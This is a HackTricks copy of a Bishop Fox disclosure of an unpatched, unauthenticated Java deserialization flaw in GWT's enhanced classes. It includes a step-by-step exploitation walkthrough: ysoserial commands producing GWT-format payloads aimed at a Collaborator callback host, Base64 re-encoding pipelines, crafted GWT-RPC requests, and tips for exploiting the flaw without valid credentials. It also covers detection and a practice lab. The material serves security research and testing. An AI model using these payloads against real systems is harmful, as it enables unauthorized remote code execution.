20 KiB
GWT - Google Web Toolkit
Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!
Other ways to support HackTricks:
- If you want to see your company advertised in HackTricks or download HackTricks in PDF Check the SUBSCRIPTION PLANS!
- Get the official PEASS & HackTricks swag
- Discover The PEASS Family, our collection of exclusive NFTs
- Join the 💬 Discord group or the telegram group or follow me on Twitter 🐦 @carlospolopm.
- Share your hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Post copied from https://bishopfox.com/blog/gwt-unpatched-unauthenticated-java-deserialization-vulnerability
Introduction
How would you react if I told you that GWT, a fairly popular open-source web application framework originally developed at Google contained an unauthenticated Java deserialization vulnerability that had been openly discussed in 2015 and 2020, but was still unpatched in late 2023? What if I also suggested that the vulnerability was at such a low level that securing vulnerable web applications written using this framework would likely require architectural changes to those applications or the framework itself?
If you’re anything like me, your initial reaction would be disbelief. Surely a vulnerability that could expose application owners to server-side code execution by unauthenticated attackers would have been patched less than eight years after it was discovered. If no patch had been issued, then at least the vulnerable framework features would have been marked as deprecated, and the framework documentation would provide suggestions for replacing vulnerable code with updated alternatives. At a bare minimum, the framework developers would undoubtedly have updated the “getting started” tutorials and other documentation to indicate the inherent danger of using the vulnerable features instead of highlighting the functionality.
Surprising as it may be, none of these assumptions are true. Eight years later, the vulnerability is still unpatched, and the only indications of the danger prior to this blog post were a GitHub issue from 2020 with a “WONTFIX”-style response, a few Google Groups discussions from 2015 that never led to the underlying issue being fixed, and a blog post from 2015 that correctly suggests that the issue could be resolved by signing the serialized data, except that no such functionality was ever added to GWT. There’s actually a blog post from 2020 that incorrectly claims that GWT is not vulnerable, because it supposedly never transmits serialized Java objects over the network.
In this blog post, I’ll explain the vulnerability in GWT (originally “Google Web Toolkit”, sometimes referred to as “GWT Web Toolkit”), show you how to exploit a vulnerable GWT web application, show you how to set up an intentionally vulnerable GWT web application to test against, determine if your own GWT-based application is vulnerable, and discuss potential mitigations.
GWT and Enhanced Classes
GWT allows developers to (among other things) write web applications in Java that have some logic running on the server (Tomcat, Jetty, etc.) and some in users’ web browsers. The GWT SDK generates any necessary client-side JavaScript code when the Java project is compiled. GWT includes a sort of mini-JRE written-in JavaScript for this purpose. Generally, GWT compiles custom Java objects for both the client and the server, and those objects are exchanged using a pipe-delimited text serialization format that both sides can parse. For example, the following request includes an array of String
objects and a CustomClass1
object, and the properties that describe those objects are represented as strings or digits:
POST /stockwatcher/stockPrices HTTP/1.1
…omitted for brevity…
7|0|8|http://10.1.10.161:8888/stockwatcher/|18FD06825EC4CA84A7FDA272DEDDAFBB|com.google.gwt.sample.stockwatcher.client.StockPriceService|getPrices|[Ljava.lang.String;/2600011424|com.google.gwt.sample.stockwatcher.client.CustomClass1/769391051|a|b|1|2|3|4|2|5|6|5|0|6|0|7|8|
FIGURE 1 - Example GWT-RPC request with human-readable object data
However, GWT also has a concept called “enhanced classes”, which (at a high level) are Java objects that meet certain criteria (review the linked documentation if you’d like to understand the specifics). These enhanced classes are only processed using server-side code, but are transmitted to and from the client as part of the application state, despite being opaque to the client. You can think of this as being analogous to the ViewState in ASP.NET applications, except without support for encryption or cryptographic signatures.
When enhanced classes come into the picture, they appear in GWT requests and responses encoded using a nonstandard variation on Base64. For example, the value rO0ABXcEAAAAAA==
in the following request:
POST /stockwatcher/checkCustomClass1 HTTP/1.1
…omitted for brevity…
7|0|9|http://10.1.2.20:8888/stockwatcher/|813E653A29B5DD147027BD9F1DDC06B1|com.google.gwt.sample.stockwatcher.client.CheckCustomClassService|checkCustomClass1|com.google.gwt.sample.stockwatcher.client.CustomClass1/658581322|rO0ABXcEAAAAAA==|com.google.gwt.sample.stockwatcher.client.CustomClass2/69504871|a|b|1|2|3|4|1|5|5|6|7|6|0|0|0|8|9|cd
FIGURE 2 - Example GWT-RPC request with serialized Java object
Decoding the data reveals use of the Java object serialization format (the 0xACED
header is the giveaway, and it causes the encoded version to always begin with rO0
). However, GWT’s use of the format is slightly different than standard Java serialization. Attempting to replace the value with the output of ysoserial
, for example, will cause the server to return error messages instead of deserializing the object. For example:
com.google.gwt.user.client.rpc.IncompatibleRemoteServiceException
java.io.EOFException
java.io.StreamCorruptedException
- “Too few tokens in RPC request”
This could lead a pen tester to believe that GWT was performing some sort of data validation before deserializing the object(s), and rejecting unexpected classes, but that assumption would be incorrect.
Making the situation even worse, if an application’s authentication or authorization code are handled within the GWT application (as opposed to a separate filter applied at the application server level, for example), then any deserialization vulnerabilities are exploitable by unauthenticated or unauthorized callers. This is because GWT deserializes request data before passing it to the associated server-side function.
Exploiting a Vulnerable Application
If you already have a live GWT-based application to test against, you can use the steps in this section to try exploiting it. If you don’t have access to an existing application, the “Building an example vulnerable application to test against” section, below, will walk you through quickly deploying one to practice with.
First, you’ll need a deserialization payload. As I mentioned earlier in this post, GWT’s serialization is based on the Java standard format, but it uses a specific pattern that will prevent standard exploit tool output from working. Instead of the stream directly containing a single object, it begins with an integer indicating the number of fields in the stream. For each field, the stream contains a string that represents the field name, and an arbitrary object for the field value.
I didn’t find an easy way to prepend the necessary information to an object, and ysoserial
did not seem to be actively maintained, so I created a fork that adds the necessary features (and also incorporates some additional code that others have submitted for inclusion in ysoserial
). It can generate all of the standard ysoserial
payloads (including several that hadn’t been merged into the main branch), but adds a --gwt
option to create those payloads formatted for use in a GWT-RPC request. The --gwt
option requires one additional parameter, which is the field name to include in the object stream. The specific field name is generally unimportant, but some value needs to be specified for GWT to recognize the payload as valid. In the example below, the field will be named bishopfox:
$ java -jar target/ysoserial-0.0.6-SNAPSHOT-all.jar \
--gwt bishopfox URLDNS \
"https:// dvc5ng8w4odw47m0a8qk45hdv41vpndc.oastify.com/URLDNS" \
> gwt_urldns.bin
FIGURE 3 - Generating URLDNS
payload in GWT-RPC format
GWT-RPC uses a customized version of Base64 where the + character has been replaced with $, and the / character replaced with _, so the next step is to encode the payload.
One can use standard Base64 operations, but replace + with $ and / with _ (or vice-versa) in the encoded input or output. For example:
$ base64 -w0 gwt_urldns.bin \
| sed 's/+/\$/g' \
| sed 's./._.g' \
> gwt_urldns.bin.gwt_b64
FIGURE 4 - Encoding example payload for use in GWT-RPC request
Of course, generation and encoding can be combined into a single command:
$ java -jar target/ysoserial-0.0.6-SNAPSHOT-all.jar \
--gwt bishopfox URLDNS \
"https:// dvc5ng8w4odw47m0a8qk45hdv41vpndc.oastify.com/URLDNS" \
| base64 -w0 \
| sed 's/+/\$/g' \
| sed 's./._.g' \
> gwt_urldns.bin.gwt_b64
FIGURE 5 - Generating and encoding URLDNS payload
Serialized objects may also be encoded and decoded in Python by including the option altchars=b'$_'
when calling base64.b64encode
or base64.b64decode
. For example:
$ binary_object = base64.b64decode(gwt_rpc_object, altchars=b'$_')
FIGURE 6 - Encoding data in Python
As with any other suspected Java deserialization vulnerability, I suggest starting with the ysoserial URLDNS
payload configured to load a URL based on your current Burp Suite Collaborator host name.
After generating and encoding the payload, use a tool such as Burp Suite’s Repeater module to send a modified version of the request that contains the encoded payload instead of the original value. If successful, you’ll most likely receive a response indicating that the field name was invalid:
Request
POST /stockwatcher/checkCustomClass1 HTTP/1.1
…omitted for brevity…
7|0|10|http://127.0.0.1:8888/stockwatcher/|259823D3B8B1029302496D0C7E009509|com.google.gwt.sample.stockwatcher.client.CheckCustomClassService|checkCustomClass1|com.google.gwt.sample.stockwatcher.client.CustomClass1/1972642674|rO0ABXcEAAAAAXQACWJpc2hvcGZveHNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI…omitted for brevity…0AAEueHg=|com.google.gwt.sample.stockwatcher.client.CustomClass2/69504871|java.sql.Date/730999118|1|2|1|2|3|4|1|5|5|6|
…omitted for brevity…
Response
HTTP/1.1 200 OK
…omitted for brevity…
//EX[2,1,["com.google.gwt.user.client.rpc.IncompatibleRemoteServiceException/3936916533","java.lang.NoSuchFieldException: bishopfox"],0,7]
…omitted for brevity…
FIGURE 7 - Example of request and response
If you started out by using a URLDNS
payload pointing to your Collaborator hostname, you should be able to validate that something requested that URL, or at least resolved the DNS name. There are environments so locked down that they don’t even allow resolution of public DNS names, but they’re very uncommon.
Like any other Java deserialization vulnerability, meaningful exploitation requires a gadget chain based on classes loaded on the server. The documentation for our customized fork of ysoserial
includes a way to quickly generate payloads for all of its general-purpose command execution gadget chains.
As I mentioned in the “GWT and enhanced classes” section, above, GWT deserializes requests before running any of the code in the associated GWT-RPC functions. This often means that a vulnerable GWT-RPC function can be exploited without credentials, or with low-privileged credentials, even if the GWT-RPC function requires authentication and authorization when called normally. So, if you confirm that a function is vulnerable, follow up by testing to see whether it works without authentication. If the GWT-RPC function normally requires high-privileged credentials, try sending the exploit payload using authentication data from a low-privileged account, such as signing up for a free trial of the product you’re testing.
Building an Example Vulnerable Application to Test Against
When I originally began researching this topic, I couldn’t find any open-source projects that used GWT in a vulnerable way. The GWT example project required many manual steps to create, and the result didn’t make use of the vulnerable serialization mechanism. To make it easier to practice exploiting GWT-based applications, I created a version of the GWT example project that not only uses binary serialization, but also includes JAR files vulnerable to several ysoserial
gadget chains.
Use the “quick start” instructions to quickly deploy a vulnerable GWT web application that can be exploited using several of the gadget chains included with the customized version of ysoserial
discussed above.
Is My GWT Application Vulnerable?
If you see Base64-encoded Java classes in any traffic to a GWT-based application, the application is almost certainly vulnerable.
It’s also worthwhile to check the GWT-RPC serialization policy files for the application to see if any of them contain the @ClientFields decorator
. Every policy file containing one or more instances of the @ClientField decorator
indicates at least one GWT-RPC method that should be vulnerable.
The serialization policy files are generated during the GWT build process. If you have access to the server-side code, search for files with a .gwt.rpc extension
:
$ find . -type f -iname '*.gwt.rpc'
./war/stockwatcher/259823D3B8B1029302496D0C7E009509.gwt.rpc
./war/stockwatcher/458602FF7418310373EB05D1C5992BC5.gwt.rpc
FIGURE 8 - Searching for GWT-RPC policy files on a server
If the design of the application results in a class that the server needs to exchange using GWT-RPC binary Java serialization, it will have an @ClientFields decorator
, as shown below:
$ cat war/stockwatcher/259823D3B8B1029302496D0C7E009509.gwt.rpc
…omitted for brevity…
@ClientFields,com.google.gwt.sample.stockwatcher.client.CustomClass1,id,str1,str2,cc2,d
…omitted for brevity…
@ClientFields,com.google.gwt.sample.stockwatcher.client.CustomClass2,str1,str2
…omitted for brevity…
FIGURE 9 - Classes decorated with @ClientFields
\
If you are conducting a zero-knowledge test of a web application, you’ll need to collect the distinct GWT-RPC strong names used by the application, then use those strong names to access the policy files. In this example request, the strong name is 259823D3B8B1029302496D0C7E009509
:
POST /stockwatcher/checkCustomClass1 HTTP/1.1
…omitted for brevity…
7|0|10|http://10.1.2.20:8888/stockwatcher/|259823D3B8B1029302496D0C7E009509|com.google.gwt.sample.stockwatcher.client.CheckCustomClassService|checkCustomClass1|com.google.gwt.sample.stockwatcher.client.CustomClass1/1972642674|rO0ABXcEAAAAAA==|com.google.gwt.sample.stockwatcher.client.CustomClass2/69504871|java.sql.Date/730999118|string1 value: 12345|string2 value: 98765|1|2|3|4|1|5|5|6|7|6|0|0|8|P___i17vzAA|0|9|10|
FIGURE 10 - An example strong name in a GWT-RPC request
It may be more efficient to search in your intercepting proxy history for strongName =
, which should give you a list of the GWT-generated JavaScript files that refer to the strong names, even if your actions within the web application haven’t necessarily generated traffic to the vulnerable methods. For example:
…omitted for brevity…
var $gwt_version = "2.10.0";
var $strongName = '259823D3B8B1029302496D0C7E009509';
…omitted for brevity…
FIGURE 11 - Example of strong name reference in a GWT web application JavaScript file
Once you know the strong name(s) for the application, the policy files should be within the same directory, named using the strong name(s) with a .gwt.rpc
extension. For example:
Request
GET /stockwatcher/259823D3B8B1029302496D0C7E009509.gwt.rpc HTTP/1.1
…omitted for brevity…
Response
HTTP/1.1 200 OK
…omitted for brevity…
@ClientFields,com.google.gwt.sample.stockwatcher.client.CustomClass1,id,str1,str2,cc2,d
…omitted for brevity…
@ClientFields,com.google.gwt.sample.stockwatcher.client.CustomClass2,str1,str2
…omitted for brevity…
FIGURE 12 - Example of request and response
As shown above, the policy file for that strong name contains two classes with the @ClientFields decorator
.
This is a great way to build a checklist of traffic to watch for while using the application. If you’ve tested all the features you know of and still haven’t seen one or more of them in use, you’ll need to either dig into the source code or consider manually constructing requests for any remaining GWT-RPC methods. The GWT-RPC serialization protocol is complicated, so this post will not provide instructions for manually crafting requests, but Brian Slesinsky wrote up a good guide to the protocol in 2012 that you can refer to if you’d like to pursue that option.
Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!
Other ways to support HackTricks:
- If you want to see your company advertised in HackTricks or download HackTricks in PDF Check the SUBSCRIPTION PLANS!
- Get the official PEASS & HackTricks swag
- Discover The PEASS Family, our collection of exclusive NFTs
- Join the 💬 Discord group or the telegram group or follow me on Twitter 🐦 @carlospolopm.
- Share your hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.